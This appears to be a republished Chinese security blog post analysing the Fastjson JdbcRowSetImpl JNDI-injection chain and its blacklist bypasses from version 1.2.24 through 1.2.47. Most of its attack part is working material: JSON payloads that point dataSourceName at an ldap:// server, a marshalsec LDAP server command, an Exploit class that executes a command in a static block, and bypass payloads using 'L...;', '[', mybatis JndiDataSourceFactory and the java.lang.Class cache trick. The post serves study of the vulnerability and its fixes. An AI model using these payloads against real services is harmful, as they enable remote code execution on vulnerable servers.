JAVA详细思路|Java安全之FastJson JdbcRowSetImpl 链分析

Posted JAVA炭烧

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了JAVA详细思路|Java安全之FastJson JdbcRowSetImpl 链分析相关的知识,希望对你有一定的参考价值。

Java安全之FastJson JdbcRowSetImpl 链分析
0x00 前言
这一次我们来学习 JdbcRowSetImpl 利用链, JdbcRowSetImpl 的利用链在实际运用中较为广泛,这个链基本没啥限制条件,只需要 Json.parse(input) 即可进行命令执行。

0x01 漏洞分析

利用限制
首先来说说限制,基于JNDI+RMI或JDNI+LADP进行攻击,会有一定的JDK版本限制。

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191
在这里插入图片描述
攻击流程

1.首先是这个lookup(URI)参数可控
2.攻击者控制URI参数为指定为恶意的一个RMI服务
3.攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
4.目标在进行 lookup() 操作时,会动态加载并实例化Factory类,接着调用 factory.getObjectInstance() 获取外部远程对象实例;
5.攻击者可以在Factory类文件的静态代码块处写入恶意代码,达到RCE的效果;

JDNI注入细节

简单分析一下lookup参数可控后,如何走到RCE.

调用链:

  • -> RegistryContext.decodeObject()
  • -> NamingManager.getObjectInstance()
  • -> factory.getObjectInstance()
  • -> NamingManager.getObjectFactoryFromReference()
  • -> helper.loadClass(factoryName);
    在这里插入图片描述
    loadclass进行实例化,触发静态代码块的Runtime代码执行命令执行。
    在这里插入图片描述
    在这里插入图片描述
    调试分析

影响版本:fastjson <= 1.2.24

payload:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

从前文的TemplatesImpl链分析中得知FastJson在反序列化时会去调用get、set、is方法。

  • @type: 目标反序列化类名;
  • dataSourceName: RMI注册中心绑定恶意服务;
  • autoCommit :在Fastjson JdbcRowSetImpl链中反序列化时,会去调用setAutoCommit方法。

详细分析fastjson如何解析可查看 Fastjson TemplatesImpl链分析 文章,再次不做赘诉。

启动LDAP服务端

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#Exploit 1389

Exploit代码,需将代码编译成class文件然后挂在到web中

import java.io.IOException;

public class Exploit {
    public Exploit() {
    }
    static {
        try {
           
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

POC代码:

package com.nice0e3;

import com.alibaba.fastjson.JSON;

public class POC {
    public static void main(String[] args) {
//               String PoC = "{\\"@type\\":\\"com.sun.rowset.JdbcRowSetImpl\\", \\"dataSourceName\\":\\"rmi://127.0.0.1:1099/refObj\\", \\"autoCommit\\":true}";
        String PoC = "{\\"@type\\":\\"com.sun.rowset.JdbcRowSetImpl\\", \\"dataSourceName\\":\\"ldap://127.0.0.1:1389/Exploit\\", \\"autoCommit\\":true}";
        JSON.parse(PoC);
    }

}

在这里插入图片描述看到payload中的 dataSourceName 参数在解析时候则会调用 setDataSourceName 对 DataSourceNamece 变量进行赋值,来看到代码

在这里插入图片描述
而 autoCommit 也一样会调用 setAutoCommit
在这里插入图片描述
setAutoCommit 方法调用 this.connect();
在这里插入图片描述
lookup中则是传入了 this.getDataSourceName() ,返回dataSource变量内容。而这个dataSource内容则是在前面 setDataSourceName 方法中进行设置的,该参数是可控的。所以可以进行JDNI注入从而达到命令执行。
利用链

  • -> JdbcRowSetImpl.execute()
  • -> JdbcRowSetImpl.prepare()
  • -> JdbcRowSetImpl.connect()
  • -> InitialContext.lookup(dataSource)
    而在Fastjson JdbcRowSetImpl 链利用中,则是利用了后半段。

0x02 绕过方式

1.2.25版本修复
先将Fastjson组件升级到1.2.25版本后进行发送payload,查看是否能够利用成功。
在这里插入图片描述
修复改动:

1.自从1.2.25 起 autotype 默认为False
2.增加 checkAutoType 方法,在该方法中进行黑名单校验,同时增加白名单机制
Fastjson AutoType说明

根据官方文档开启AutoType的方式,假设不开启该功能是无法进行反序列化的。因为默认白名单是空的,需要自定义。白名单的绕过基本不可能,都是从黑名单作为入口。白名单需要添加,而黑名单中则是内置在Fastjson中。

1、JVM启动参数

-Dfastjson.parser.autoTypeSupport=true

2、代码中设置

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

下面来看代码,这里使用了IDEA中的jar包对比功能
在这里插入图片描述
可以看到 DefaultJSONParser 发送了变动,在这里多了一个 checkAutoType 方法去做校验。

跟进方法查看
在这里插入图片描述
前面会进行白名单的校验,如果匹配中的话调用loadClass加载,返回一个Class对象。 这里默认白名单的列表为空。
在这里插入图片描述
后面这则是会恶意类的黑名单进行匹配,如果加载类的前面包含黑名单所定义的字符则抛出异常。

1.2.25-1.2.41 绕过

package com.nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
    public static void main(String[] args) {
    //ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\\"@type\\":\\"Lcom.sun.rowset.JdbcRowSetImpl;\\", \\"dataSourceName\\":\\"ldap://127.0.0.1:1389/Exploit\\", \\"autoCommit\\":true}";
        JSON.parse(PoC);
    }
}

先来调试不开启的情况,前面依旧就会遍历黑名单对class进行赋值,但最后这个会去检测如果未开启,则直接抛异常,开启则会去返回。
在这里插入图片描述
将注释打开后,则直接返回class

在这里插入图片描述
在这里插入图片描述
命令执行成功。但是可以看到前面的class是 Lcom.sun.rowset.JdbcRowSetImpl 为什么也会触发命令执行?

原因在于 com.alibaba.fastjson.parser#TypeUtils.loadClass(typeName, this.defaultClassLoader); 方法中,可跟进查看。
在这里插入图片描述
在这里插入图片描述
这里解析到内容如果为 L 开头, ; 结尾的话就会将这2个字符清空,前面其实还有一个 [ 。

1.2.42 修复方式
修复改动:明文黑名单改为HASH值, checkcheckAutoType 方法添加 L 和 ; 字符过滤。
在这里插入图片描述
加密方法位于 com.alibaba.fastjson.util.TypeUtils#fnv1a_64 可将进行碰撞获取值。

1.2.42绕过方式

package com.nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String PoC = "{\\"@type\\":\\"LLcom.sun.rowset.JdbcRowSetImpl;;\\", \\"dataSourceName\\":\\"ldap://127.0.0.1:1389/Exploit\\", \\"autoCommit\\":true}";
        JSON.parse(PoC);
    }

}

在这里插入图片描述
在 com.alibaba.fastjson.parser#checkcheckAutoType 中将 L 和 ; 进行清空。这里是利用了双写的方式,前面的规则将第一组 L 和 ; ,进行清空,而在 TypeUtils.loadclass 中将第二组内容清空。
在这里插入图片描述
1.2.43 修复方式
在1.2.43版本中对了LL开头的绕过进行了封堵

//hash计算基础参数            long BASIC = -3750763034362895579L;            long PRIME = 1099511628211L;            //L开头,;结尾            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {                //LL开头                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {                                      throw new JSONException("autoType is not support. " + typeName);                }                className = className.substring(1, className.length() - 1);            }

再次执行poc代码可以看到报错了。

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.rowset.JdbcRowSetImpl;;	at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:914)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)	at com.alibaba.fastjson.JSON.parse(JSON.java:152)	at com.alibaba.fastjson.JSON.parse(JSON.java:162)	at com.alibaba.fastjson.JSON.parse(JSON.java:131)	at com.nice0e3.POC.main(POC.java:12)

1.2.43 绕过方式
前面可以看到 [ 也进行了清空,可以从该地方进行入手。

public class POC {    public static void main(String[] args) {        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        String PoC = "{\\"@type\\":\\"[com.sun.rowset.JdbcRowSetImpl\\"[, \\"dataSourceName\\":\\"ldap://127.0.0.1:1389/Exploit\\", \\"autoCommit\\":true}";        JSON.parse(PoC);    }}

执行报错了,报错信息如下:

Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 44, fastjson-version 1.2.43	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451)	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1261)	at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:729)	at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)	at com.alibaba.fastjson.JSON.parse(JSON.java:152)	at com.alibaba.fastjson.JSON.parse(JSON.java:162)	at com.alibaba.fastjson.JSON.parse(JSON.java:131)	at com.nice0e3.POC.main(POC.java:12)

提示缺少了一个 {

public class POC {    public static void main(String[] args) {        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        String PoC = "{\\"@type\\":\\"[com.sun.rowset.JdbcRowSetImpl\\"[{, \\"dataSourceName\\":\\"ldap://127.0.0.1:1389/Exploit\\", \\"autoCommit\\":true}";        JSON.parse(PoC);    }}

在这里插入图片描述
1.2.44 修复方式
将 [ 进行限制,具体实现可自行查看。

再次执行前面的poc代码可以看到报错了。

1.2.45绕过方式
利用条件需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

public class POC {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String PoC = "{\\"@type\\":\\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\\",\\"properties\\":{\\"data_source\\":\\"ldap://127.0.0.1:1389/Exploit\\"}}";
        JSON.parse(PoC);
    }

}

在这里插入图片描述
下面来分析一下使用这个payload为什么能绕过。其实是借助了 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 进行绕过, org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 并不在黑名单中。

这里是对反序列化后的对象是 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

传入 properties 参数,则会去自动调用 setProperties
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
而在1.2.46无法执行成功,应该是对该类拉入了黑名单中。

1.2.25-1.2.47通杀
为什么说这里标注为通杀呢,其实这里和前面的绕过方式不太一样,这里是可以直接绕过 AutoTypeSupport ,即便关闭 AutoTypeSupport 也能直接执行成功。

先来看payload

public class POC {    public static void main(String[] args) {              String PoC = "{\\n" +                "    \\"a\\":{\\n" +                "        \\"@type\\":\\"java.lang.Class\\",\\n" +                "        \\"val\\":\\"com.sun.rowset.JdbcRowSetImpl\\"\\n" +                "    },\\n" +                "    \\"b\\":{\\n" +                "        \\"@type\\":\\"com.sun.rowset.JdbcRowSetImpl\\",\\n" +                "        \\"dataSourceName\\":\\"ldap://localhost:1389/badNameClass\\",\\n" +                "        \\"autoCommit\\":true\\n" +                "    }\\n" +                "}";        JSON.parse(PoC);    }}

在这里插入图片描述
可以看到payload和前面的payload构造不太一样,这里来分析一下。
在这里插入图片描述
这里未开启 AutoTypeSupport 不会走到下面的黑白名单判断。

fastjson会使用 checkAutoType 方法来检测 @type 中携带的类,但这次我们传入的是一个 java.lang.class
在这里插入图片描述
来看到 com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject 方法中
在这里插入图片描述
跟进 deserialze 方法查看,这里的 deserialze 是 MiscCodec#deserialze

上面代码会从 objVal = parser.parse(); 获取内容为 com.sun.rowset.JdbcRowSetImpl 。来看到下面

if (clazz == Class.class) {    return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());}

这里使用了 TypeUtils.loadClass 函数加载了 strVal ,也就是JdbcRowSetlmpl,跟进发现会将其缓存在map中。
在这里插入图片描述
这里的true参数代表开启缓存,如果开启将恶意类存储到mapping中
在这里插入图片描述
断点来到 com.alibaba.fastjson.parser.DefaultJSONParser#checkAutoType
在这里插入图片描述
因为前面将 com.sun.rowset.JdbcRowSetImpl 所以这里能获取到 com.sun.rowset.JdbcRowSetImpl 该判断不为true,从而绕过黑名单。
在这里插入图片描述
而后续则是和前面的一样,通过 dataSourceName 触发对于的set方法将 dataSourceName 变量进行设置,而后通过 autoCommit ,触发 setAutoCommit 触发 lookup() 达到命令执行。

结尾

其实后面还有几个绕过的方式后面再去做分析,除此外还有一些BCEL来解决fastjson不出网回显等方面都值得去思考和研究。

码字不易 请大家给我点赞+关注+评论!一条龙

如果想要获取学习资料,可在下方获取联系方式;
或者想要一起讨论问题的也加入技术交流Q群

添加助手小姐姐的 VX:  Mlzg5201314zz 
或者加入技术交流Q群:614478470
记得备注[CSDN]

以上是关于JAVA详细思路|Java安全之FastJson JdbcRowSetImpl 链分析的主要内容,如果未能解决你的问题,请参考以下文章

Java安全初学之反射

[Java安全]fastjson学习

[Java安全]fastjson学习

[Java安全]fastjson学习

[Java安全]fastjson学习

[Java安全]fastjson学习